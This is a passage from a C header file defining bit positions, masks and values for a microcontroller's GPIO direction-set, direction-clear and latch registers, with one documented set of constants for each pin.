#define GPIO_DIRSET_PIN19_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 18 : Set as output pin 18 */
#define GPIO_DIRSET_PIN18_Pos (18UL) /*!< Position of PIN18 field. */
#define GPIO_DIRSET_PIN18_Msk (0x1UL << GPIO_DIRSET_PIN18_Pos) /*!< Bit mask of PIN18 field. */
#define GPIO_DIRSET_PIN18_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN18_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN18_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 17 : Set as output pin 17 */
#define GPIO_DIRSET_PIN17_Pos (17UL) /*!< Position of PIN17 field. */
#define GPIO_DIRSET_PIN17_Msk (0x1UL << GPIO_DIRSET_PIN17_Pos) /*!< Bit mask of PIN17 field. */
#define GPIO_DIRSET_PIN17_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN17_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN17_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 16 : Set as output pin 16 */
#define GPIO_DIRSET_PIN16_Pos (16UL) /*!< Position of PIN16 field. */
#define GPIO_DIRSET_PIN16_Msk (0x1UL << GPIO_DIRSET_PIN16_Pos) /*!< Bit mask of PIN16 field. */
#define GPIO_DIRSET_PIN16_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN16_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN16_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 15 : Set as output pin 15 */
#define GPIO_DIRSET_PIN15_Pos (15UL) /*!< Position of PIN15 field. */
#define GPIO_DIRSET_PIN15_Msk (0x1UL << GPIO_DIRSET_PIN15_Pos) /*!< Bit mask of PIN15 field. */
#define GPIO_DIRSET_PIN15_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN15_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN15_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 14 : Set as output pin 14 */
#define GPIO_DIRSET_PIN14_Pos (14UL) /*!< Position of PIN14 field. */
#define GPIO_DIRSET_PIN14_Msk (0x1UL << GPIO_DIRSET_PIN14_Pos) /*!< Bit mask of PIN14 field. */
#define GPIO_DIRSET_PIN14_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN14_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN14_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 13 : Set as output pin 13 */
#define GPIO_DIRSET_PIN13_Pos (13UL) /*!< Position of PIN13 field. */
#define GPIO_DIRSET_PIN13_Msk (0x1UL << GPIO_DIRSET_PIN13_Pos) /*!< Bit mask of PIN13 field. */
#define GPIO_DIRSET_PIN13_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN13_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN13_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 12 : Set as output pin 12 */
#define GPIO_DIRSET_PIN12_Pos (12UL) /*!< Position of PIN12 field. */
#define GPIO_DIRSET_PIN12_Msk (0x1UL << GPIO_DIRSET_PIN12_Pos) /*!< Bit mask of PIN12 field. */
#define GPIO_DIRSET_PIN12_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN12_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN12_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 11 : Set as output pin 11 */
#define GPIO_DIRSET_PIN11_Pos (11UL) /*!< Position of PIN11 field. */
#define GPIO_DIRSET_PIN11_Msk (0x1UL << GPIO_DIRSET_PIN11_Pos) /*!< Bit mask of PIN11 field. */
#define GPIO_DIRSET_PIN11_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN11_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN11_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 10 : Set as output pin 10 */
#define GPIO_DIRSET_PIN10_Pos (10UL) /*!< Position of PIN10 field. */
#define GPIO_DIRSET_PIN10_Msk (0x1UL << GPIO_DIRSET_PIN10_Pos) /*!< Bit mask of PIN10 field. */
#define GPIO_DIRSET_PIN10_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN10_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN10_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 9 : Set as output pin 9 */
#define GPIO_DIRSET_PIN9_Pos (9UL) /*!< Position of PIN9 field. */
#define GPIO_DIRSET_PIN9_Msk (0x1UL << GPIO_DIRSET_PIN9_Pos) /*!< Bit mask of PIN9 field. */
#define GPIO_DIRSET_PIN9_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN9_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN9_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 8 : Set as output pin 8 */
#define GPIO_DIRSET_PIN8_Pos (8UL) /*!< Position of PIN8 field. */
#define GPIO_DIRSET_PIN8_Msk (0x1UL << GPIO_DIRSET_PIN8_Pos) /*!< Bit mask of PIN8 field. */
#define GPIO_DIRSET_PIN8_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN8_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN8_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 7 : Set as output pin 7 */
#define GPIO_DIRSET_PIN7_Pos (7UL) /*!< Position of PIN7 field. */
#define GPIO_DIRSET_PIN7_Msk (0x1UL << GPIO_DIRSET_PIN7_Pos) /*!< Bit mask of PIN7 field. */
#define GPIO_DIRSET_PIN7_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN7_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN7_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 6 : Set as output pin 6 */
#define GPIO_DIRSET_PIN6_Pos (6UL) /*!< Position of PIN6 field. */
#define GPIO_DIRSET_PIN6_Msk (0x1UL << GPIO_DIRSET_PIN6_Pos) /*!< Bit mask of PIN6 field. */
#define GPIO_DIRSET_PIN6_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN6_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN6_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 5 : Set as output pin 5 */
#define GPIO_DIRSET_PIN5_Pos (5UL) /*!< Position of PIN5 field. */
#define GPIO_DIRSET_PIN5_Msk (0x1UL << GPIO_DIRSET_PIN5_Pos) /*!< Bit mask of PIN5 field. */
#define GPIO_DIRSET_PIN5_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN5_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN5_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 4 : Set as output pin 4 */
#define GPIO_DIRSET_PIN4_Pos (4UL) /*!< Position of PIN4 field. */
#define GPIO_DIRSET_PIN4_Msk (0x1UL << GPIO_DIRSET_PIN4_Pos) /*!< Bit mask of PIN4 field. */
#define GPIO_DIRSET_PIN4_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN4_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN4_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 3 : Set as output pin 3 */
#define GPIO_DIRSET_PIN3_Pos (3UL) /*!< Position of PIN3 field. */
#define GPIO_DIRSET_PIN3_Msk (0x1UL << GPIO_DIRSET_PIN3_Pos) /*!< Bit mask of PIN3 field. */
#define GPIO_DIRSET_PIN3_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN3_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN3_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 2 : Set as output pin 2 */
#define GPIO_DIRSET_PIN2_Pos (2UL) /*!< Position of PIN2 field. */
#define GPIO_DIRSET_PIN2_Msk (0x1UL << GPIO_DIRSET_PIN2_Pos) /*!< Bit mask of PIN2 field. */
#define GPIO_DIRSET_PIN2_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN2_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN2_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 1 : Set as output pin 1 */
#define GPIO_DIRSET_PIN1_Pos (1UL) /*!< Position of PIN1 field. */
#define GPIO_DIRSET_PIN1_Msk (0x1UL << GPIO_DIRSET_PIN1_Pos) /*!< Bit mask of PIN1 field. */
#define GPIO_DIRSET_PIN1_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN1_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN1_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 0 : Set as output pin 0 */
#define GPIO_DIRSET_PIN0_Pos (0UL) /*!< Position of PIN0 field. */
#define GPIO_DIRSET_PIN0_Msk (0x1UL << GPIO_DIRSET_PIN0_Pos) /*!< Bit mask of PIN0 field. */
#define GPIO_DIRSET_PIN0_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN0_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN0_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Register: GPIO_DIRCLR */
/* Description: DIR clear register */
/* Bit 31 : Set as input pin 31 */
#define GPIO_DIRCLR_PIN31_Pos (31UL) /*!< Position of PIN31 field. */
#define GPIO_DIRCLR_PIN31_Msk (0x1UL << GPIO_DIRCLR_PIN31_Pos) /*!< Bit mask of PIN31 field. */
#define GPIO_DIRCLR_PIN31_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN31_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN31_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 30 : Set as input pin 30 */
#define GPIO_DIRCLR_PIN30_Pos (30UL) /*!< Position of PIN30 field. */
#define GPIO_DIRCLR_PIN30_Msk (0x1UL << GPIO_DIRCLR_PIN30_Pos) /*!< Bit mask of PIN30 field. */
#define GPIO_DIRCLR_PIN30_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN30_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN30_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 29 : Set as input pin 29 */
#define GPIO_DIRCLR_PIN29_Pos (29UL) /*!< Position of PIN29 field. */
#define GPIO_DIRCLR_PIN29_Msk (0x1UL << GPIO_DIRCLR_PIN29_Pos) /*!< Bit mask of PIN29 field. */
#define GPIO_DIRCLR_PIN29_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN29_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN29_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 28 : Set as input pin 28 */
#define GPIO_DIRCLR_PIN28_Pos (28UL) /*!< Position of PIN28 field. */
#define GPIO_DIRCLR_PIN28_Msk (0x1UL << GPIO_DIRCLR_PIN28_Pos) /*!< Bit mask of PIN28 field. */
#define GPIO_DIRCLR_PIN28_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN28_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN28_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 27 : Set as input pin 27 */
#define GPIO_DIRCLR_PIN27_Pos (27UL) /*!< Position of PIN27 field. */
#define GPIO_DIRCLR_PIN27_Msk (0x1UL << GPIO_DIRCLR_PIN27_Pos) /*!< Bit mask of PIN27 field. */
#define GPIO_DIRCLR_PIN27_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN27_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN27_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 26 : Set as input pin 26 */
#define GPIO_DIRCLR_PIN26_Pos (26UL) /*!< Position of PIN26 field. */
#define GPIO_DIRCLR_PIN26_Msk (0x1UL << GPIO_DIRCLR_PIN26_Pos) /*!< Bit mask of PIN26 field. */
#define GPIO_DIRCLR_PIN26_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN26_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN26_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 25 : Set as input pin 25 */
#define GPIO_DIRCLR_PIN25_Pos (25UL) /*!< Position of PIN25 field. */
#define GPIO_DIRCLR_PIN25_Msk (0x1UL << GPIO_DIRCLR_PIN25_Pos) /*!< Bit mask of PIN25 field. */
#define GPIO_DIRCLR_PIN25_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN25_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN25_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 24 : Set as input pin 24 */
#define GPIO_DIRCLR_PIN24_Pos (24UL) /*!< Position of PIN24 field. */
#define GPIO_DIRCLR_PIN24_Msk (0x1UL << GPIO_DIRCLR_PIN24_Pos) /*!< Bit mask of PIN24 field. */
#define GPIO_DIRCLR_PIN24_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN24_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN24_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 23 : Set as input pin 23 */
#define GPIO_DIRCLR_PIN23_Pos (23UL) /*!< Position of PIN23 field. */
#define GPIO_DIRCLR_PIN23_Msk (0x1UL << GPIO_DIRCLR_PIN23_Pos) /*!< Bit mask of PIN23 field. */
#define GPIO_DIRCLR_PIN23_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN23_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN23_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 22 : Set as input pin 22 */
#define GPIO_DIRCLR_PIN22_Pos (22UL) /*!< Position of PIN22 field. */
#define GPIO_DIRCLR_PIN22_Msk (0x1UL << GPIO_DIRCLR_PIN22_Pos) /*!< Bit mask of PIN22 field. */
#define GPIO_DIRCLR_PIN22_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN22_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN22_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 21 : Set as input pin 21 */
#define GPIO_DIRCLR_PIN21_Pos (21UL) /*!< Position of PIN21 field. */
#define GPIO_DIRCLR_PIN21_Msk (0x1UL << GPIO_DIRCLR_PIN21_Pos) /*!< Bit mask of PIN21 field. */
#define GPIO_DIRCLR_PIN21_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN21_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN21_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 20 : Set as input pin 20 */
#define GPIO_DIRCLR_PIN20_Pos (20UL) /*!< Position of PIN20 field. */
#define GPIO_DIRCLR_PIN20_Msk (0x1UL << GPIO_DIRCLR_PIN20_Pos) /*!< Bit mask of PIN20 field. */
#define GPIO_DIRCLR_PIN20_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN20_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN20_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 19 : Set as input pin 19 */
#define GPIO_DIRCLR_PIN19_Pos (19UL) /*!< Position of PIN19 field. */
#define GPIO_DIRCLR_PIN19_Msk (0x1UL << GPIO_DIRCLR_PIN19_Pos) /*!< Bit mask of PIN19 field. */
#define GPIO_DIRCLR_PIN19_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN19_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN19_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 18 : Set as input pin 18 */
#define GPIO_DIRCLR_PIN18_Pos (18UL) /*!< Position of PIN18 field. */
#define GPIO_DIRCLR_PIN18_Msk (0x1UL << GPIO_DIRCLR_PIN18_Pos) /*!< Bit mask of PIN18 field. */
#define GPIO_DIRCLR_PIN18_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN18_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN18_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 17 : Set as input pin 17 */
#define GPIO_DIRCLR_PIN17_Pos (17UL) /*!< Position of PIN17 field. */
#define GPIO_DIRCLR_PIN17_Msk (0x1UL << GPIO_DIRCLR_PIN17_Pos) /*!< Bit mask of PIN17 field. */
#define GPIO_DIRCLR_PIN17_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN17_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN17_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 16 : Set as input pin 16 */
#define GPIO_DIRCLR_PIN16_Pos (16UL) /*!< Position of PIN16 field. */
#define GPIO_DIRCLR_PIN16_Msk (0x1UL << GPIO_DIRCLR_PIN16_Pos) /*!< Bit mask of PIN16 field. */
#define GPIO_DIRCLR_PIN16_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN16_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN16_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 15 : Set as input pin 15 */
#define GPIO_DIRCLR_PIN15_Pos (15UL) /*!< Position of PIN15 field. */
#define GPIO_DIRCLR_PIN15_Msk (0x1UL << GPIO_DIRCLR_PIN15_Pos) /*!< Bit mask of PIN15 field. */
#define GPIO_DIRCLR_PIN15_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN15_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN15_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 14 : Set as input pin 14 */
#define GPIO_DIRCLR_PIN14_Pos (14UL) /*!< Position of PIN14 field. */
#define GPIO_DIRCLR_PIN14_Msk (0x1UL << GPIO_DIRCLR_PIN14_Pos) /*!< Bit mask of PIN14 field. */
#define GPIO_DIRCLR_PIN14_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN14_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN14_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 13 : Set as input pin 13 */
#define GPIO_DIRCLR_PIN13_Pos (13UL) /*!< Position of PIN13 field. */
#define GPIO_DIRCLR_PIN13_Msk (0x1UL << GPIO_DIRCLR_PIN13_Pos) /*!< Bit mask of PIN13 field. */
#define GPIO_DIRCLR_PIN13_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN13_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN13_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 12 : Set as input pin 12 */
#define GPIO_DIRCLR_PIN12_Pos (12UL) /*!< Position of PIN12 field. */
#define GPIO_DIRCLR_PIN12_Msk (0x1UL << GPIO_DIRCLR_PIN12_Pos) /*!< Bit mask of PIN12 field. */
#define GPIO_DIRCLR_PIN12_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN12_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN12_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 11 : Set as input pin 11 */
#define GPIO_DIRCLR_PIN11_Pos (11UL) /*!< Position of PIN11 field. */
#define GPIO_DIRCLR_PIN11_Msk (0x1UL << GPIO_DIRCLR_PIN11_Pos) /*!< Bit mask of PIN11 field. */
#define GPIO_DIRCLR_PIN11_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN11_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN11_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 10 : Set as input pin 10 */
#define GPIO_DIRCLR_PIN10_Pos (10UL) /*!< Position of PIN10 field. */
#define GPIO_DIRCLR_PIN10_Msk (0x1UL << GPIO_DIRCLR_PIN10_Pos) /*!< Bit mask of PIN10 field. */
#define GPIO_DIRCLR_PIN10_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN10_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN10_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 9 : Set as input pin 9 */
#define GPIO_DIRCLR_PIN9_Pos (9UL) /*!< Position of PIN9 field. */
#define GPIO_DIRCLR_PIN9_Msk (0x1UL << GPIO_DIRCLR_PIN9_Pos) /*!< Bit mask of PIN9 field. */
#define GPIO_DIRCLR_PIN9_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN9_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN9_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 8 : Set as input pin 8 */
#define GPIO_DIRCLR_PIN8_Pos (8UL) /*!< Position of PIN8 field. */
#define GPIO_DIRCLR_PIN8_Msk (0x1UL << GPIO_DIRCLR_PIN8_Pos) /*!< Bit mask of PIN8 field. */
#define GPIO_DIRCLR_PIN8_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN8_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN8_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 7 : Set as input pin 7 */
#define GPIO_DIRCLR_PIN7_Pos (7UL) /*!< Position of PIN7 field. */
#define GPIO_DIRCLR_PIN7_Msk (0x1UL << GPIO_DIRCLR_PIN7_Pos) /*!< Bit mask of PIN7 field. */
#define GPIO_DIRCLR_PIN7_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN7_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN7_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 6 : Set as input pin 6 */
#define GPIO_DIRCLR_PIN6_Pos (6UL) /*!< Position of PIN6 field. */
#define GPIO_DIRCLR_PIN6_Msk (0x1UL << GPIO_DIRCLR_PIN6_Pos) /*!< Bit mask of PIN6 field. */
#define GPIO_DIRCLR_PIN6_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN6_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN6_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 5 : Set as input pin 5 */
#define GPIO_DIRCLR_PIN5_Pos (5UL) /*!< Position of PIN5 field. */
#define GPIO_DIRCLR_PIN5_Msk (0x1UL << GPIO_DIRCLR_PIN5_Pos) /*!< Bit mask of PIN5 field. */
#define GPIO_DIRCLR_PIN5_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN5_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN5_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 4 : Set as input pin 4 */
#define GPIO_DIRCLR_PIN4_Pos (4UL) /*!< Position of PIN4 field. */
#define GPIO_DIRCLR_PIN4_Msk (0x1UL << GPIO_DIRCLR_PIN4_Pos) /*!< Bit mask of PIN4 field. */
#define GPIO_DIRCLR_PIN4_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN4_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN4_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 3 : Set as input pin 3 */
#define GPIO_DIRCLR_PIN3_Pos (3UL) /*!< Position of PIN3 field. */
#define GPIO_DIRCLR_PIN3_Msk (0x1UL << GPIO_DIRCLR_PIN3_Pos) /*!< Bit mask of PIN3 field. */
#define GPIO_DIRCLR_PIN3_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN3_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN3_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 2 : Set as input pin 2 */
#define GPIO_DIRCLR_PIN2_Pos (2UL) /*!< Position of PIN2 field. */
#define GPIO_DIRCLR_PIN2_Msk (0x1UL << GPIO_DIRCLR_PIN2_Pos) /*!< Bit mask of PIN2 field. */
#define GPIO_DIRCLR_PIN2_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN2_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN2_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 1 : Set as input pin 1 */
#define GPIO_DIRCLR_PIN1_Pos (1UL) /*!< Position of PIN1 field. */
#define GPIO_DIRCLR_PIN1_Msk (0x1UL << GPIO_DIRCLR_PIN1_Pos) /*!< Bit mask of PIN1 field. */
#define GPIO_DIRCLR_PIN1_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN1_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN1_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Bit 0 : Set as input pin 0 */
#define GPIO_DIRCLR_PIN0_Pos (0UL) /*!< Position of PIN0 field. */
#define GPIO_DIRCLR_PIN0_Msk (0x1UL << GPIO_DIRCLR_PIN0_Pos) /*!< Bit mask of PIN0 field. */
#define GPIO_DIRCLR_PIN0_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRCLR_PIN0_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRCLR_PIN0_Clear (1UL) /*!< Write: writing a '1' sets pin to input; writing a '0' has no effect */
/* Register: GPIO_LATCH */
/* Description: Latch register indicating what GPIO pins that have met the criteria set in the PIN_CNF[n].SENSE registers */
/* Bit 31 : Status on whether PIN31 has met criteria set in PIN_CNF31.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN31_Pos (31UL) /*!< Position of PIN31 field. */
#define GPIO_LATCH_PIN31_Msk (0x1UL << GPIO_LATCH_PIN31_Pos) /*!< Bit mask of PIN31 field. */
#define GPIO_LATCH_PIN31_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN31_Latched (1UL) /*!< Criteria has been met */
/* Bit 30 : Status on whether PIN30 has met criteria set in PIN_CNF30.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN30_Pos (30UL) /*!< Position of PIN30 field. */
#define GPIO_LATCH_PIN30_Msk (0x1UL << GPIO_LATCH_PIN30_Pos) /*!< Bit mask of PIN30 field. */
#define GPIO_LATCH_PIN30_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN30_Latched (1UL) /*!< Criteria has been met */
/* Bit 29 : Status on whether PIN29 has met criteria set in PIN_CNF29.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN29_Pos (29UL) /*!< Position of PIN29 field. */
#define GPIO_LATCH_PIN29_Msk (0x1UL << GPIO_LATCH_PIN29_Pos) /*!< Bit mask of PIN29 field. */
#define GPIO_LATCH_PIN29_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN29_Latched (1UL) /*!< Criteria has been met */
/* Bit 28 : Status on whether PIN28 has met criteria set in PIN_CNF28.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN28_Pos (28UL) /*!< Position of PIN28 field. */
#define GPIO_LATCH_PIN28_Msk (0x1UL << GPIO_LATCH_PIN28_Pos) /*!< Bit mask of PIN28 field. */
#define GPIO_LATCH_PIN28_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN28_Latched (1UL) /*!< Criteria has been met */
/* Bit 27 : Status on whether PIN27 has met criteria set in PIN_CNF27.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN27_Pos (27UL) /*!< Position of PIN27 field. */
#define GPIO_LATCH_PIN27_Msk (0x1UL << GPIO_LATCH_PIN27_Pos) /*!< Bit mask of PIN27 field. */
#define GPIO_LATCH_PIN27_NotLatched (0UL) /*!< Criteria has not been met */
